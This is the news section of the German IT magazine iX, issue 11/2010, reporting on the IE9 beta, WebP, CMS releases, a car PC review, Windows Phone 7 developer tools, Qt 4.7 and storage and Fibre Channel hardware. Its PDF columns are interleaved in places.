BlackBerry-Smart phones ist voraussichtlich ab November 2010 verfügbar ( base.com/sap). Cross over: Kostenlos zum Download gibt es eine XING-App für iphone und BlackBerry. Nutzer des sozialen Netzes können sich per Geolocation orten und virtuell die Hände schütteln. Vorhang auf: Ab dem 8. November 2010 soll in den USA das Windows Phone erhältlich sein, meldet Microsoft und hat zu diesem Be - hufe eine eigene Webseite eingerichtet. Wer sich dort auf Backstage anmeldet, erhält die aktuellen Informationen und kann eine XBox 360 gewinnen ( phone7.com/backstage). Smartphone-Anwendungen testen Für Großkunden hat Device - Anywhere Test Automation for Smartphones auf den Markt gebracht. Es unterstützt das Entwickeln mobiler Applikationen im eigenen Hause und erlaubt das Testen von Skripten, mobile Apps und Webseiten manuell, halb- oder vollautomatisch. Die Resultate erscheinen in einer webbasierten Berichtsoberfläche, auf die Teams und Kollegen ortsunabhängig zugreifen können. Mobile und Cloud vorne Wer größere Bilddateien oder Videos von externem Speicher aufs ipad laden möchte, hat wegen der eingeschränkten USB- Schnittstelle und den fehlenden Karten-Slots eine Barriere zu überwinden. Dem will Sanho mit HyperDrive abhelfen. Apple mahnte den Hersteller, der in seinem Hypershop bereits externe Akkus für MacBook, ipod, iphone und ipads anbietet, wegen Patentverletzungen zum zweiten Male ab. Das HyperDrive erkennt 12 verschiedene Typen von Speicherkarten, enthält auf Wunsch eine eigene Festplatte und verfügt über ein 3,2 Zoll großes Test Automation for Smart - phones soll sich in alle gängigen Testautomation-Tools integrieren lassen, indem man es als zusätzliche Softwareschicht über eine Java-API hinzugefügt. Die Testplattform arbeitet mit IBMs Rational Quality Manager (RQM) sowie mit dem Quality Center und QuickTest Professional von HP zusammen (de.deviceanywhere. com/). Mobile und Cloud Computing werden in den nächsten 5ˇJahren in der geschäftlichen IT den Ton angeben, das ist das Ergebnis des 2010 IBM Tech Trend Survey. An der Umfrage, die IBMs Entwicklerplattform developerworks ( developerworks) veranstaltete, nahmen rund 2000 IT-Spezialisten aus 87 Ländern teil. Mehr als die Hälfte (55ˇ%) der Befragten erwarten, dass das Entwickeln von Software für mobile Geräte die traditionelle Anwendungsentwicklung in den Hintergrund drängen wird. Für das Cloud Computing sehen 91ˇ% bis 2015 voraus, dass es die hausinterne IT als primäre Organisationsstruktur ablösen wird. Die Bedeutung industrieübergreifender Fachkenntnisse halten 91ˇ% für entscheidend, 63ˇ% gestehen, dass ihnen das Fachwissen fehlt, das sie brauchen, um auf die Dauer wettbewerbsfähig zu bleiben. Apple mahnt Festplattenanbieter ab Farbdisplay. Die Festplatte nutzt den Adapter für Kameras über Apples ipad Camera Connection Kit, das aber nur externe Speichergrößen bis zu 32 GByte zulässt. HyperDrive umgeht das, indem es seine Dateiverzeichnisse auf virtuelle, 32 GByte große Laufwerke aufteilt. Wählt der Benutzer über das integrierte LCD ein Verzeichnis aus, erscheinen die Daten in der Photo App. Es sind nur die dazu kompatiblen Fotos oder Videos lesbar, und man kann keine Daten vom ipad auf das Laufwerk schreiben. Trotz der Einschränkungen könnte sich das HyperDrive etwa für Reisende eignen. Beschreiben lässt es sich mit jedem PC oder per Memory Card. Es verfügt über einen Lithium-Ionen-Akku. Das Hyper- Drive kostet mit 250 GByte Kapazität 309 Euro (brutto) und ist in mehreren Größen bis hin zu 500 GByte für 339 Euro erhältlich ix 11/2010

21

22 MARKT + TRENDS Webbrowser Am 15. September erschien nach mehreren Platform Previews die Betaversion des Internet Explorerˇ9 (IE9, eine ausführliche Linkliste findet sich in den ix-links). An den oft kritisierten Systemanforderungen hat sich mit der Beta nichts geändert: Da der IE9 die mit Windows Vista eingeführte Direct2D-Schnittstelle nutzt, ist mindestens Windows Vista SP2 oder Windowsˇ7 für den Einsatz erforderlich. Anders als die Platform Previews lässt sich die Beta nicht parallel zum IE8 installieren, sondern ersetzt diesen. Der Browser hat sich aller Symbolleisten entledigt; wer auf die Favoriten- oder Statusleiste nicht verzichten möchte, muss sie explizit aktivieren. Auf eine separate Suchleiste haben die IE-Entwickler verzichtet und sie stattdessen zusammen mit der Adressenleiste in eine kombinierte Eingabeleiste integriert. Die ist deutlich schmaler als bei Googles Browser, um Platz zu schaffen für die daneben angeordneten Tabs (Registerkarten). Nutzer können die Karten aus der Registerleiste herausziehen, um eine neue Instanz des Browsers zu öffnen. Damit folgt Microsoft dem Verhalten der Konkurrenz, geht aber weiter: Das Fenster bleibt beim Ziehen und Ablegen in Originalgröße; die Website wird ohne Unterbrechung weiter dargestellt. Dadurch lassen sich auch Videos beim Ziehen der Registerkarte weiter abspielen, ohne dass es zu Verzögerungen kommt. Eine echte Neuerung ist es, die Website an der Windows- Taskleiste oder im Startmenü anzuheften. Dazu müssen Nutzer die Registerkarte an die gewünschte Stelle der Taskleiste oder auf die Start-Schaltfläche ziehen. Das Ergebnis lässt sich sehen: Die Websites wirken wie herkömmliche Programme samt eigenem, aus dem Favicon abgeleitetem Logo, passendem Farbschema und zusätzlichen Navigationselementen (siehe Abbildung). Schon die ersten Platform Previews waren in Sachen Webstandards im Vergleich zum IE8 ein Meilenstein, die Betaversion bringt ihn fast auf Augenhöhe mit der Konkurrenz. Beispielsweise im Umgang mit Transparenz hat der Browser enorm aufgeholt. Er unterstützt opacity für transparente Elemente sowie die Farbmodelle RGBA und HSLA zur Angabe transparenter Farben. Beide erweitern die Modelle durch einen Alphawert. Außerdem erweitert IE9 die background-eigenschaften darum, einem Element mehrere Hintergrundbilder zuweisen zu können, indem Webautoren mehrere Werte durch Kommata getrennt notieren. Neu ist ebenfalls die Unterstützung der Eigenschaften background-clip, background-origin und background-size. Einbettung von Schriften IE9 Beta mit canvas und SVG Neunauge kann man seit Langem beliebige Schriftarten in Webseiten einbetten, aber es gab kaum Schriften im richtigen Format und in angemessener Qualität, sodass kaum jemand die Regel einsetzte. Als Standardformat für eingebettete Schriften hat sich das Web Open Font Format (WOFF) durchgesetzt (siehe ix 10/2010, Seite 136). Firefox unterstützt Michael Jendryschik Microsofts Browser galten lange als rückständig. Mit den Previews und der jetzt vorliegenden Beta - version des Internet Explorerˇ9 hat der Hersteller fast zur Konkurrenz aufgeschlossen. Websites als Applikationen samt Logo und Farb schema das Format seit Version 3.6, Chrome seit Versionˇ6. Andere Browserhersteller dürften in kommenden Versionen nachziehen, und der IE9 unterstützt es ebenfalls. Auf das lang erwartete Spaltenmodul oder die CSS3 Transitions müssen Webentwickler allerdings wohl bis zur nächsten IE-Version warten. IE9 Beta ist der erste Browser aus Redmond, der die HTML5-Elemente audio und video unterstützt. Dabei setzt der Browser für video auf das Format H.264 und für audio auf AAC und MP3. Leider herrscht seitens der Browserhersteller bei den unterstützten Formaten wenig Konsens. Microsoft und Apple favorisieren H.264, während Firefox und Opera auf Ogg Theora und WebM setzen; nur Google (Chrome) unterstützt alle drei Codecs. Seit der dritten Platform Preview kennt IE9 canvas. Das HTML5-Element stellt eine Fläche zur Verfügung, auf die Webentwickler mit JavaScript dynamische Bitmap-Grafiken zeichnen und animieren können. canvas erfährt mittlerweile eine breite Unterstützung, unter anderem im Firefox ab Version 3.0, Safari ab Version 3.1 und Opera ab Version 9. Die IE9- Beta verspricht nun umfassende, native Unterstützung. Fortschritte beim Acid3-Test Schon die erste Platform Preview bestand den CSS3 Selectors Test von css3.info mit Bravour, beim Acid3-Test hingegen fiel die erste Platform Preview mit nur 55 von 100 Punkten noch glatt durch. Der Test analysiert Browser in Bezug auf ihre Fähigkeiten zur Darstellung interaktiver Anwendungen. Zusätzlich zum Durchlaufen der 100 DOM2- und ECMA - Script-Einzeltests muss der Browser in der Lage sein, das Referenz-Rendering des Acid3- Tests darzustellen. Dazu hat er herunterladbare Schriften zu unterstützen, er muss Base64- codierte Bilder in Form von Data-URLs anzeigen können und Farbdarstellungen im HSLA-Farbraum verstehen. Die Beta erreicht beim Acid3- Test 95 von 100 Punkten; die Darstellung entspricht der Referenzdarstellung. Fünf Tests besteht der IE9 nicht, was auf die noch fehlerhafte SVG-Unterstützung zurückzuführen ist. Beeindrucken kann die Beta in Sachen Geschwindigkeit. Microsoft gibt an, dass der neue Browser elfmal schneller sei als sein Vorgänger, und tatsächlich laufen die Demos auf der Test-Drive-Website zum Teil schneller und flüssiger als in den Browsern der Konkurrenz. Zurückzuführen ist das vor allem darauf, dass die gesamte Grafik- und Textdarstellung mit Direct2D und DirectWrite von der CPU auf die Grafikkarte übertragen wird. Ein weiterer Grund für die verbesserte Performance ist eine neue JavaScript-Engine, die jetzt in der Lage ist, mit Multi- Core-Maschinen zusammenzuarbeiten. Der SunSpider-JavaScript-Benchmark bestätigt den Eindruck: Die Beta ist schneller als ihre Vorgänger und behauptet sich hinter Opera und Chrome auf Platzˇ3, vor Safari und Firefox. (hb) 22 ix 11/2010

23

24 MARKT + TRENDS Verschiedenes Eye-Tracker kann Leben retten Laut dem Deutschen Verkehrssicherheitsrat verursacht der Sekundenschlaf auf der Autobahn jeden vierten Unfall mit Todesfolge. Der vom Fraun - hofer-institut für Digitale Medientechnologie (IDMT) ent - wickelte Eye-Tracker soll das verhindern. Er verfolgt die Augenbewegungen des Fahrers und löst einen Alarm aus, wenn dessen Augen eine bestimmte Zeit lang geschlossen sind. Dabei ist der Zeitraum variabel einstellbar. Das kleine, modulare System besteht aus zwei, vier oder sechs Kameras und soll sich in jedes Automodell einbauen lassen, beispielsweise hinter der Sonnenblende oder im Armaturenbrett. Da die Kameras stereoskopisch aufzeichnen, erkennt das System die räumliche Lage der Pupille und die Blickrichtung des Anwenders, auch wenn er den Kopf seitlich bewegt. Googles WebP soll Bilddateien verkleinern Für eine schnellere Bildübertragung hat Google ein neues Grafikformat entwickelt. WebP nutzt das verlustbehaftete Predictive-Coding-Verfahren für die Kompression und soll so um bis zu 39 Prozent kleinere Dateien liefern als JPEG oder JPEG 2000, ohne dass ein qualitativer Unterschied sichtbar wäre. Eine WebP-Datei besteht aus einem RIFF-Header (Resource Interchange File Format), gefolgt von einem VP8- Bitstream. Mit libvpx stellt Google einen Decoder für WebP-Dateien zur Verfügung. Die Konvertierung aus anderen und in andere Formate soll das Kommandozeilenwerkzeug webpconv übernehmen. Ein zurzeit in Arbeit befindlicher Patch für WebKit soll dafür sorgen, dass die nächste Release von Googles Webbrowser Chrome das neue Format nativ unterstützt. Für Linux-Plattformen bietet das Unternehmen unter code.google. com/intl/de-de/speed/webp/ download.html einen Down - load an, eine Windows-Version soll in Kürze folgen. In seinem Blog unter x264 dev.multimedia.cx/archives/541 wirft Jason Garrett-Glaser, zurzeit federführender Entwickler des freien H.264-Encoders x264, einen kritischen Blick auf WebP. Bitrix: CMS mit Anti-Virus-Modul Bitrix, aus Kaliningrad stammender Hersteller von CMS- Software für KMU, hat seinen Site Manager in der Version 9.0 angekündigt. Zu den Neuerungen zählt vor allem die Integration eines Sicherheits-Frameworks, das ein Anti-Virus- Modul enthält. Es durchsucht ausgehenden HTML-Code sowie JavaScript und kann Verdächtiges entfernen. Außerdem vereinfacht die neue Version durch Vorlagen für Kataloge und Werkzeuge die Erstellung von Websites. Der Site Manager ist ab 169ˇe erhältlich, das Intranet Portal ab 1399 e. KURZ NOTIERT Video: Version 5.3 des Videoplayers JW Player erkennt, ob Anwender HTML5 oder Flash geliefert bekommen sollten. Webbrowser: Die Betaversion von Googles Chromeˇ7 unterstützt WebGL und steht für Linux, Windows und Mac OSˇX unter com/chrome zum Download bereit ix 11/2010

25 MARKT + TRENDS World Wide Web Nutzung des Internet Explorer nimmt ab Chameleon: CMS mit mehr Sicherheit Laut Statistiken des Onlinedienstes StatCounter erreichte Microsofts Internet Explorer im September weniger als 50ˇ% Marktanteil. Mit 49,87ˇ% liegt er zwar nur knapp darunter, hat aber im vergangenen Jahr gute acht Prozent verloren. Firefox bleibt bei etwa 31ˇ%, lediglich Chrome konnte sich von 3,7 auf 11,5ˇ% steigern. Zieht man zum Vergleich die Daten von Netmarketshare heran, verliert der IE nur sechs Prozent, bleibt aber mit 59,65ˇ% über der magischen Hälfte. Firefox dümpelt um die 23ˇ%, Chrome verbessert sich von grob 3 auf 8ˇ%. In beiden Statistiken liegen Safari und Opera hinter den bisher genannten unter 5ˇ%. Open Texts ECM-Suite mit neuen Modulen Mit seiner 2010er-Version der ECM-Suite hat Open Text nach eigenen Angaben mehr als 90 Produkte beziehungsweise Module zusammengefasst, wobei Elemente aus in der Vergangenheit übernommenen Firmen respektive deren Produkten integriert sind. Das gilt etwa für die von Vignette stammende Portal- Komponente und aus derselben Quelle Erweiterungen für dynamische WCM-Funktionen sowie Funktionen Richtung sozialer Netze. Von Nstein stammt die Ergänzung zur Inhaltsanalyse, von Captaris kommen Imaging-Tools und OCR, schließlich ist eine Verknüpfung der genannten WCM-Funktionen mit solchen der Textverwaltung von Artesia in die Suite integriert. Alle setzen auf Basisdienste auf. Auf PHP 5.3 baut Version 3.2 des Content-Managemen-Sys - tems Chameleon der ESONO AG auf. Für die neue Release sollen die Freiburger die Arbeitsabläufe verbessert sowie Sicherheitsergänzungen vorgenommen haben. Komplette Portale lassen sich laut ESONO kopieren, und die Rollen-/ KURZ NOTIERT Blogging: Video-Werbungsexperte VideoEgg hat mit SixApart den Schöpfer des Blogging-Werkzeugs Movable Type zu einem ungenannten Preis übernommen. Beide firmieren jetzt gemeinsam als SayMedia. Content Management I: Version 4.2 Releaseˇ4 (4.2R4) von FirstSpirits CMS e-spirit Rechteverwaltung sei verbessert. GET- und POST-Anfragen überprüft das System auf XSS-Angriffe. Pro Monat belaufen sich die Basiskosten für Chameleon auf 79ˇe; für eine zeitlich unbegrenzte Laufzeit: 3400ˇe. bietet an Neuem vor allem die Integration von Office-Dokumenten (Microsoft und OpenOffice) sowie schulungsfreies Editieren für Gelegenheitsredakteure. Content Management II: In der Version 4.4 bietet die norwegische ez ihre CMS- Software ez Publish Enterprise vor allem mit zwei neuen Eigenschaften an: einen Online-Bild-Editor, der HTML5-Videos unterstützt, sowie Googles ReCaptcha. ix 11/

26 MARKT + TRENDS Embedded Systems Auto-PC ikarpc-w08a unter der Lupe Beifahrer Axel Urbanski Mit der Atom-Prozessorserie will Intel an vielen Stellen Fuß fassen, unter anderem im Auto. Wie ein Vehicle Computer aussehen kann, zeigt IEImobile mit dem ikarpc. Auf den ersten Blick ähnelt der ikarpc-w08a von IEI mobile ( mit seinem 8,4ˇ" großen resistiven Touch-Display (800ˇxˇ480 Pixel) entfernt einem Tablet-PC. Es fehlt ihm allerdings ein Akku, denn seine Energie bezieht der 1,25 kg schwere Rechner aus dem Bordnetz des Fahrzeuges. Außerdem bringt er zusätzliche Bedienelemente mit: sechs frei programmierbare Funktions tasten, ein Tastenkreuz sowie fünf weitere Tasten zum Einstellen der Lautstärke und Helligkeit. Letztere kann das Gerät mithilfe eines internen Sensors an die Umgebungshelligkeit anpassen. Der ikarpc entspricht der Schutzklasse IP54 und arbeitet bei Temperaturen von -20 bis 60ˇ C. Als Antrieb dient Intels Atom Z510 (1,1 GHz) in Zusammenarbeit mit dem US15 WP-Chipsatz, 1ˇGByte DRAM (DDR2-533) sowie einer Compact-Flash-Karte (4ˇGByte) als Massenspeicher. Letzterer lässt sich mit einer SD-Karte oder per USB erweitern. Mit der Außenwelt kommuniziert der ikarpc über Gigabit-Ethernet, WLAN ( b/g), Bluetooth 2.1 oder UMTS. Kfz-typischen Bedürfnissen wird er mit einer CAN-Bus- respektive OBD-II-Schnittstelle (On- Board Diagnostic) gerecht. Für Navigationszwecke steht ein GPS-Empfänger zur Verfügung. Dank des integrierten Lautsprechers, zweier Mikrofone, einer Webcam (0,3 Megapixel) sowie je eines Audioein- und -ausgangs eignet sich das Gerät auch für Infotainment-Anwendungen. Das Testgerät war obendrein mit einem DVB-T-Empfänger samt Fernbedienung ausgestattet. Antennen für DVB-T und GPS gehören zum Lieferumfang; für WLAN verwendet der ikarpc eine interne Antenne. Offenbar ist es wie Bluetooth in erster Linie für die Verwendung innerhalb des Fahrzeugs gedacht. Während das Gerät bei GPS, DVB-T und UMTS guten Empfang hat, macht sich beim WLAN das Fehlen einer externen Antenne negativ bemerkbar. Fast alle Anschlüsse befinden sich an der Unterseite des Gehäuses, was zu einem unschönen Kabelsalat führt. Eine Kabelpeitsche würde das Chaos verringern und außerdem die Entnahme erleichtern. Bei der Bestellung muss man darauf achten, das passende OBD-II- Kabel zu erhalten, denn Kfz- Hersteller nutzen unterschiedliche Steckverbinder. Einen VESA-75-Befestigungsrahmen muss der Nutzer separat ordern, was dringend zu empfehlen ist, da sich nur so das Gerät sicher befestigen lässt. Mit der verbreiteten Montage per Saugnapf könnte es bei einem Unfall zum tödlichen Geschoss werden. Während die Hardware einen stabilen Eindruck macht, ist die mitgelieferte Software rudimentär. Sie besteht aus einer DVB-T-Anwendung ohne EPG, einem Webcam-Programm und einer Software zum Flotten - management, die auch Navigation und das Übermitteln von Nachrichten und Routen beherrscht. Auf der mitgelieferten CD befindet sich außerdem eine OBD-II-API für Windows. Als Betriebssystem dient Win - dows XP Embedded, das rund 1300ˇe teure Gerät soll jedoch auch unter Windows XP bisˇ7, Windows CE 5.0/6.0 und Linux laufen. (mr) RFID und Sensor kombiniert Passive RFID-Transponder beziehen ihren Strom aus dem Energiefeld der Lesegeräte. Für zusätzliche Sensoren reichte die verfügbare Energie bislang nicht aus. Nun ist es Forschern am Fraunhofer-Institut für Photonische Mikrosysteme IPMS ( de) gelungen, die Datenmenge, die der Transponder an den Reader sendet, zu verringern und dadurch den Energieverbrauch zu senken. Diese Aufgabe übernimmt ein Microcontroller auf den Modulen. Außerdem sind die Sensoren nur auf Befehl des Lesegeräts aktiv, was den Energiebedarf weiter senkt. Dadurch lässt sich der RFID-Transponder mit einem Sensor kombinieren, der zum Beispiel Temperatur, Druck oder Feuchtigkeit misst. Als Anwendungsbereiche für die sogenannten Smart Transponder sieht das Institut vor allem den Medizinbereich, etwa die Kühlkettenüberwachung von Blutproben oder Impfseren. Auf der Electronica 2010 (9. bis 12. November in München, wollen die Forscher ein Evaluationskit zeigen, mit dem Anwender eigene Produkte entwickeln können. Es besteht aus einer Grundplatine, zwei Antennen für den UHF- und den MW- Bereich sowie der dazugehörigen Software. Ein Lesegerät muss der Nutzer separat beschaffen. Barbara Lange Prozessormodule mit Atom E600 Kaum hatte Intel im September auf dem IDF seine Atom-Prozessoren der E600-Reihe (Tunnel Creek) vorgestellt, waren die Anbieter von CPU-Modulen mit ihren neuen Produkten zur Stelle. Die congatec AG ( etwa kündigte ihr neues conga-qa6 im hauseigenen Qseven-Format an, Kontron ( sein COM-Express-kompatibles nanoetxexpress-tt im 55ˇxˇ84 mm 2 kleinen Ultra Small Form Factor. Beide sollen mit den Prozessoren E620 (600 MHz, 2,7ˇW TDP), E640 (1ˇGHz, 3,3ˇW), E660 (1,3 GHz, 3,3ˇW) und E680 (1,6 GHz, 3,9ˇW) erhältlich sein. Als Southbridge kommt Intels Platform Controller Hub EG20T zum Einsatz, der unter anderem sechs USB-2.0- und zwei SATA-Ports, Gigabit Ethernet sowie LPC-, I 2 C- und CAN-Bus-Schnittstellen beisteuert. Außerdem verfügen die Module über HD-Audio- Anschlüsse, die 3D-Grafikeinheit GMA 600 und Hardware zum (De-)Codieren von HD- Video, die Intels Prozessor mitbringt. Dazu spendieren beide Hersteller bis zu 2ˇGByte RAM (DDR2-800). Die Module sind für den erweiterten Temperaturbereich von -40 bis 85ˇ C spezifiziert und damit auch für den Einsatz etwa im Auto geeignet. Kontron will Muster ab November liefern; congatec machte zur Verfügbarkeit bislang keine Angaben ix 11/2010

27

28 MARKT + TRENDS Softwareentwicklung Windows Phone Developer Tools freigegeben Microsoft begräbt Teile von Oslo Mithilfe von Windows Phoneˇ7 will Microsoft im Mobil-Bereich wieder mit Plattformen wie iphone und Android konkurrieren. Für das mobile Betriebssystem hat Microsoft nun die für die Anwendungsentwicklung benötigten Programmierwerkzeuge kostenlos bereitgestellt. Die offizielle Freigabe erfolgte rechtzeitig, bevor der Konzern den Win dows Phone Marketplace, seinen App-Store für Windows-Phone- Anwendungen, am 11.ˇOktober gestartet hatte. Die Windows Phone Developer Tools bestehen aus den Produkten Visual Studioˇ2010 Express for Windows Phone, Expression Blend for Windows Phone, XNA Game Studio for Windows Phoneˇ7, Silverlightˇ4 Tools for Visual Studio und Windows Phone Emulator. Im Vergleich zur Betaversion gibt es neue Templates (Pivot, Panorama) und überarbeitete Debugging-Funktionen. Auch können Entwickler nun ihre Anwendungen in den von Windows Phone unterstützten Sprachen (Französisch, Italienisch, Spanisch, Englisch und Deutsch) testen. Die Entwicklung für Win - dows Phone erfolgt mit Microsofts RIA-Technik Silverlight oder mit der Spieleentwicklungsplattform XNA. Deswegen haben sich Entwickler für eine der beiden Techniken zu entscheiden, bevor sie mit der Programmierung einer Applikation für Windows Phone beginnen. Die Programmierung für beide Frameworks erfolgt in C#. Unterstützung für Visual Basic.Net gibt es in Form einer Beta. Das Ende von JavaFX Script Microsoft wird Schlüsseltechniken des einstmals als große SOA- respektive Modeling- Plattform angekündigten Projekts Oslo nicht mehr weiterentwickeln. Es handelt sich dabei um das Werkzeug zur Visualisierung von Datenbankinhalten Quadrant und um das SQL Server Modeling Services genannte Repository. Stattdessen setzen die Redmonder den Fokus verstärkt auf das OData-Protokoll und das Entity Data Model (EDM) des Entity Frame work. An der Modellierungssprache M hält der Konzern hingegen fest. Oracle kündigte auf der JavaOne an (siehe auch den Bericht auf Seite 10), dass die Version 2.0 der RIA-Technik JavaFX im dritten Quartal 2011 erscheinen soll. Sämtliche dann verfügbaren JavaFX- Controls sollen als Open Source bereitgestellt werden. Offen ist bislang jedoch, welche Open- Source-Lizenz der Konzern verwenden möchte. Die mobile Variante der RIA-Technik scheint hingegen fürs Erste auf Eis gelegt zu sein, und JavaFX Script, die Skriptsprache zum Programmieren von JavaFX-Anwendungen, hat offenbar keine Zukunft mehr. Das RIA-Framework wird künftig anstelle der Sprache die Java- API nutzen. Qt 4.7 führt deklarative UI-Entwicklung ein Unter den Neuerungen des plattformübergreifenden C++- Frameworks für GUI-Anwendungen ist vor allem die an CSS und JavaScript angelehnte Qt Markup Language (QML) zu nennen. Als deklarative UI- Technik soll sie das Erstellen zeitgemäßer Nutzerschnittstellen vereinfachen; auch hoffen die Entwickler, Qt damit einer größeren Gruppe von Entwicklern und Designern schmackhaft zu machen. QML-Ober - flächen lassen sich mit der Tool-Sammlung Quick (Qt UI Creation Kit) erstellen. Sie enthält mit QtDeclarative eine C++-Bibliothek, die als Programmierschnittstelle für das Einbinden von C++-Typen und -Elementen in QML sowie zum Verknüpfen des QML- User-Interface mit der in C++ geschriebenen Anwendungslogik fungiert. Ein weiteres Thema der Entwicklung für Qt 4.7 waren Optimierungen beim Verhalten und der Stabilität des Frameworks. Das verdeutlicht unter anderem die Browser- Engine QtWebKit, die den Entwicklern zufolge bis zu 350 Prozent schneller geworden ist. Frühere Instantiations-Tools jetzt kostenlos Google stellt die früheren Produkte der Firma Instantiations GWT Designer, CodePro AnalytiX, WindowBuilder Pro und WindowTester Pro, die durch die Übernahme im August zum Konzern kamen, kostenlos zur Verfügung. In einem nächsten Schritt will Google die Tools mit dem GWT-Port - folio stärker verzahnen. Andere ebenfalls übernommene Instantiations-Produkte sind weiterhin für Kunden über die laufenden Support- und Wartungsvereinbarungen erhältlich. Der GWT Designer ist ein Eclipse-basiertes Werkzeug für die Entwicklung von GWT-Programmen. Mit WindowBuilder Pro lassen sich Java-GUI-Pro - gramme auf Basis von Swing, SWT, GWT, RCP und XWT (XML Windowing Toolkit) schreiben. CodePro AnalytiX hilft dabei, Sicherheitsschwachstellen zu einem frühen Zeitpunkt der Ent wicklung zu reduzieren. Window Tester Pro ist ein GUI-Testwerkzeug, das das Testverhalten von mit Swing oder SWT geschriebenen Rich-Client-Anwendungen beschleunigt. NEU AUF Aktuelle Artikel auf heise Developer berücksichtigen Vor - teile des d-zeiger-idioms in der Programmiersprache C++, die neuen Programmierwerkzeuge für Windows Phoneˇ7, den für das Enterprise Content Management (ECM) wichtigen Standard CMIS (Content Management Interoperability Services) und die Beta von Microsofts Internet Explorerˇ9. Konferenzberichte gibt es zur JavaOne, der.net-konferenz BASTA und zu den Qt Developer Days. Ein weiterer Community-Beitrag setzt sich mit dem Erfolgsgeheimnis der Apache-Entwicklungen auseinander. Eine neue Episode des Software - ArchitekTOUR-Podcasts zum Thema Testen zeigt, dass der Softwarearchitekt sich dem Thema ausgiebig widmen sollte, da er als wichtiger Ansprechpartner für Testentscheidungen fungiert. KURZ NOTIERT FDT: Die Versionˇ4.0 der Flash Development Tools (FDT) eignet sich nun auch für die Entwicklung von iphone- und Android-Programmen. BITKOM: Der IT-Verband hat einen Leitfaden zur Industriellen Softwareentwicklung vorgelegt. Auf rund 60ˇSeiten soll die Veröffentlichung Softwareanbietern anhand von Ansätzen wie Standardisierung, Automatisierung, Wiederverwendung, Spezialisierung und kontinuierlicher Verbesserung Wege zur industriellen Softwareentwicklung aufzeigen. CodePlex Foundation: Die Open-Source-Organisation hat sich in Outercurve Foundation umbenannt. Als Grund darf die deutlichere Abgrenzung zu Code- Plex.com gelten, Microsofts Hosting-Plattform für Open- Source-Projekte ix 11/2010

29

30 MARKT + TRENDS Hardware Spiegelnder SSD-HDD-Hybridwechselrahmen Ungebremste phasencodierte optische Übertragung durch Direktverstärkung Raidsonic liefert den Hybrid- Wechselrahmen mit Spiegelfunktion RAIDON HyBrid RunneR ih2420 des taiwanesischen Herstellers in Deutschland aus. Der 3,5"-Einschub in halber Bauhöhe mit internem RAID-System und SATA-II- Anschluss kombiniert eine SSD (Solid State Drive) und eine Festplatte zu einem neuen Laufwerk. Voraussetzung: Beide haben das 2,5"-Format und einen SATA-Anschluss. Den Bereich der Festplatte, der in der Größe der Kapazität der SSD entspricht, reserviert die Elektronik bei eingeschalteter Real-Time-Backup - Funktion als Mirror für die SSD, auf den sie neu geschriebene Daten kopiert. Den restlichen Bereich präsentiert sie dem BIOS als zweites Laufwerk. Ein- beziehungsweise ausschalten lässt sich die Funktion über einen Schalter HyBrid/Clear Mode auf der Rückseite des Einschubs. Sollte die SSD ausfallen, schreibt der Controller die Daten nach dem Austausch auf die neue SSD zurück. Wermutstropfen: Die Festplatte darf nicht dicker als 9,5 mm sein, die höheren meist 12,5 mm 2,5"-Platten, die mittlerweile mit einer Kapazität von bis zu 1,5 TByte im Handel sind, verkraftet das System aus Platzgründen nicht. Dafür bietet der nach außen offene Einschub genügend Raum für einen Hot-Swap-Mechanismus. Kosten soll der HyBrid RunneR ih2420 ohne Laufwerke gut 66 Euro netto. Das ebenfalls im August in Taiwan erschienene interne-raid- System für eine 3,5"-Festplatte und eine SSD namens RAI- DON HyBrid RunneR ih1010-2s-s2 ist hierzulande momentan noch nicht erhältlich, wird aber wohl demnächst unter dem Namen RAIDON oder ICY BOX das Licht der europäischen Welt erblicken. Das EU-Projekt PHASORS ( Phase sensitive amplifier systems and optical regenerators and their applications, hat einen ersten funktionierenden Verstärker und Regenerator für phasencodierte Signale entwickelt. Mit ihm sollen einzelne Glasfasern 40 GBit/s und mehr transportieren können. Unter der Leitung des optoelektro - nischen Forschungszentrums (Op to electronics Research Center, ORC) der Universität Southampton ( ac.uk) haben Forscher aus Großbritannien, Irland, Schweden, Dänemark, Griechenland und der Schweiz dazu einen Verstärker und Regenerator für Phasen entwickelt, der das Phasen- ebenso wie das Amplitudenrauschen direkt beseitigt. Anders als bei bisherigen Entwicklungen zur Phasencodierung entfällt dadurch das Konvertieren in ein elektrisches Signal, das den erreichbaren Durchsatz verringert. Die Übertragungsverfahren bestehender Glasfasernetze codieren die Bits in der Amplitude eines Lichtstrahls. Damit gehen üblicherweise Begleiterscheinungen wie das Phasenrauschen von optischen Verstärkern und das Übersprechen oder Crosstalk einher, die den Durchsatz begrenzen. Unter Phasenrauschen versteht man schnelle zufällige Schwankungen in der Phase eines Signals, die zu Fehlern bei der Datenübertragung führen, während beim Übersprechen ein Signal ungewollt ein anderes Signal überlagert GBit/s schnelles Fibre Channel ist fertig Virtuelle Storage-Plattform in 3D Hitachi Data Systems (HDS) hat ein neues Storage-System der Enterprise-Klasse vorgestellt. Die Virtual Storage Platform (VSP) soll nun als erstes System in drei Richtungen skalieren (3D Scaling Storage Platform). Zum einen lassen sich die einzelnen Systeme erweitern (Scale up), zweitens können mehrere Systeme zusammen eine logische Einheit bilden (Scale out) und zum Dritten kann sie wie schon ihre Vorgängerin, Hitachis Universal Storage Platform (USP) die Ressourcen von Systemen anderer Hersteller virtualisieren (Scale deep). Dazu besitzt sie statt eines Control-Frame oder -Rack zwei bis acht Virtual Storage Directors. Ihr interner Gesamtdurchsatz ist im Vergleich zur USPˇV von 106 auf 192 GByte/s gestiegen; nach außen gehen jetzt aber auch nur noch maximal 192 statt 224 Fibre-Channel-Ports jeder wie gehabt mit bis zu 1024 virtuellen Ports. Eine Neuerung ist der Umstieg Hitachis von ESCON auf FCoE (Fibre Channel over Ethernet): Ab Mitte 2011 kann man die VSP mit bis zu 96 FCoE-Ports ausstatten. FI- CON-Module für die bis zu 24 Boards der Front-End- Direktoren wird es weiterhin geben. Die nun optionalen Back-End-Direktoren arbeiten Ende September hat das ANSI INCITS T11.2 Technical Committee ( den Standard für 16 GBit/s schnellen Fibre Channel (16GFC) ratifiziert. Damit ist der Entwicklungs- und Standardi - sierungsprozess für 16GFC durch das T11.2 und die FCIA (Fibre Channel Industry Association, abgeschlossen. Neu ist außer der doppelten Geschwindigkeit zum 8-GBit- FC vor allem die 64b/66b- Codierung. Im 10-GBit/s- Fibre-Channel (10GFC) für ISLs (Inter-Switch Links) sowie im 10-GBit/s-Ethernet (10GE) hat sie die bisherige 8b/10b-Codierung bereits abgelöst. Trotzdem soll 16GFC zumindest zu 4- und 8-GBit- FC komplett abwärtskompatibel sein. Erste Produkte, also 